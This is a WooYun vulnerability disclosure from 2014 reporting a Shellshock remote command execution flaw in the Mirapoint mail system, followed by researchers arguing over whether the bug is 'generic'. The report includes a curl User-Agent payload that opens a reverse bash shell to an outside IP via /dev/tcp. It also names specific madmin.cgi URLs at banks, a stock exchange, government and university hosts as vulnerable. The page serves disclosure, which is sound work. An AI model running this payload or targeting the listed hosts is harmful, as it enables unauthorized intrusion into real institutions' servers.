当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077489

漏洞标题：某邮件系统BASH通用远程命令执行漏洞（影响多家银行及证券邮件系统）

相关厂商：某邮件系统

漏洞作者： 路人甲

提交时间：2014-09-27 00:46

修复时间：2014-12-26 00:48

公开时间：2014-12-26 00:48

漏洞类型：远程代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-27： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-02： 细节向第三方安全合作伙伴开放
2014-11-23： 细节向核心白帽子及相关领域专家公开
2014-12-03： 细节向普通白帽子公开
2014-12-13： 细节向实习白帽子公开
2014-12-26： 细节向公众公开

简要描述：

某邮件系统BASH通用远程命令执行漏洞
经测试影响多个银行邮件系统

详细说明：

Mirapoint Software, Inc. 是一家总部位于美国硅谷的美国全资公司。公司成立于1997年，在全球设立多个分公司和代表处，并于2000年成功进入中国市场。Mirapoint是SpecMail标准协会副主席, IETF成员，邮件RFC标准的参与制定者。Mirapoint 10多年来一直专注于提供专业的硬件邮件系统整体解决方案。
官网：http://www.mirapoint.com.cn/
官网邮件系统演示
curl -A "() { :; }; /bin/bash -i > /dev/tcp/128.199.213.124/2345 0<&1 2>&1" http://mail.mirapoint.com.cn/cgi-bin/madmin.cgi -v

55EBD023-9D0B-41E5-BD33-255D1CC576B8.png


http://www.baidu.com/s?wd=WebMail%20Corporate%20Edition&rsv_spt=1&issp=1&f=8&rsv_bp=0&ie=utf-8&tn=baiduhome_pg


http://mx2.shawneelink.net/cgi-bin/madmin.cgi
http://mailgw.btpdi.com.cn/cgi-bin/madmin.cgi
https://mail.troy.edu//cgi-bin/madmin.cgi
http://mail700.sea.ymgt-co.com/cgi-bin/madmin.cgi
银行、政府、证券

上海银行：http://mail.bankofshanghai.com/cgi-bin/madmin.cgi
银联商务：http://mail.chinaums.com/cgi-bin/madmin.cgi
           http://mail.bjjc.gov.cn/cgi-bin/madmin.cgi
长沙银行：http://61.187.87.92/cgi-bin/madmin.cgi
安信证券：http://mail.essence.com.cn/cgi-bin/madmin.cgi
上海证券交易所：https://email.sse.com.cn/cgi-bin/madmin.cgi


屏幕快照 2014-09-26 下午7.43.51.png


屏幕快照 2014-09-26 下午7.38.30.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-09-29 13:43

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-27 01:07 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    这算通用嘛？

  2. 2014-09-27 08:08 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @玉林嘎 跟st2类似

  3. 2014-09-27 10:10 | error ( 普通白帽子 | Rank:415 漏洞数:96 )

    这标题有点欠揍

  4. 2014-09-27 12:16 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    @error @乐乐、 @玉林嘎 bash是服务器里一种命令控制符软件，类似windows中的cmd，本身就unix系统自带的，又不是集成到邮件系统里的算毛通用漏洞？

  5. 2014-09-27 12:24 | 胖子 ( 实习白帽子 | Rank:75 漏洞数:16 | 加大你的带宽!加大你的内存!加大你的显示器...)

    这标题有点欠揍

  6. 2014-09-27 12:52 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫，是《红楼梦》原创的词汇，但后来演变...)

    @玉林嘎 @乐乐、 @error @胖子 @X防部 乌云有乌云标准。你们在卧槽什么

  7. 2014-09-27 13:14 | error ( 普通白帽子 | Rank:415 漏洞数:96 )

    哈哈,终于把此洞的路人甲逼现身了 @YY-2012 大牛一枚鉴定完毕

  8. 2014-09-27 13:32 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫，是《红楼梦》原创的词汇，但后来演变...)

    @error 你想多了。。

  9. 2014-09-27 13:54 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @YY-2012 你哪只眼睛看见卧槽了

  10. 2014-09-27 14:06 | Siro ( 实习白帽子 | Rank:66 漏洞数:11 | ) <Freedom /> (Fuck)

    目测括号是审核时候加的～

  11. 2014-09-27 14:55 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    @X防部 按你的意思是 因为Struts2漏洞影响到用struts2开发CMS 也不算通用咯？

  12. 2014-09-27 15:16 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    @erevus 如果一个CMS存在ST2当然算通用 因为这个ST2是打包在CMS里的！但是bash可不是打包进CMS的，是直接存在于操作系统里的，BASH确切的来说是系统软件漏洞，就算没有系统里没有bash，cms也可以运行。只不过系统里有bash，cms可以调用bash执行命令（bash本来就是命令执行工具相当于window里的cmd），如果系统里没有bash，cms调用不了bash所以就不存在漏洞。

  13. 2014-09-27 15:22 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    @erevus 另外只有很少一部分Linux系统集成了这种名为Bash的Unix系统中用于控制命令提示符的软件，

  14. 2014-09-27 16:05 | 树上草 ( 路人 | Rank:20 漏洞数:8 | <img height="12" width="12" style="verti...)

    这么叼，真的好吗

  15. 2014-09-27 17:31 | Suner ( 路人 | Rank:21 漏洞数:2 | 洞次打次)

    欧巴都说屌

  16. 2014-09-27 19:34 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @X防部 抱歉st2属于框架问题，不属于通用，如果PHP代码中附带了某些如system(bash)可与bash打交道的，属于程序设计缺陷吧

  17. 2014-09-27 23:21 | 小森森 ( 路人 | Rank:11 漏洞数:2 | 不中二 枉少年)

    @X防部 很少的一部分？很多Linux发行版将bash作为默认shell的好吧……我能列举出RHEL系(CentOS也属于)、Ubuntu、Debian、Fedora等……

  18. 2014-12-26 08:55 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    这个都有2个money啊。。我也是最了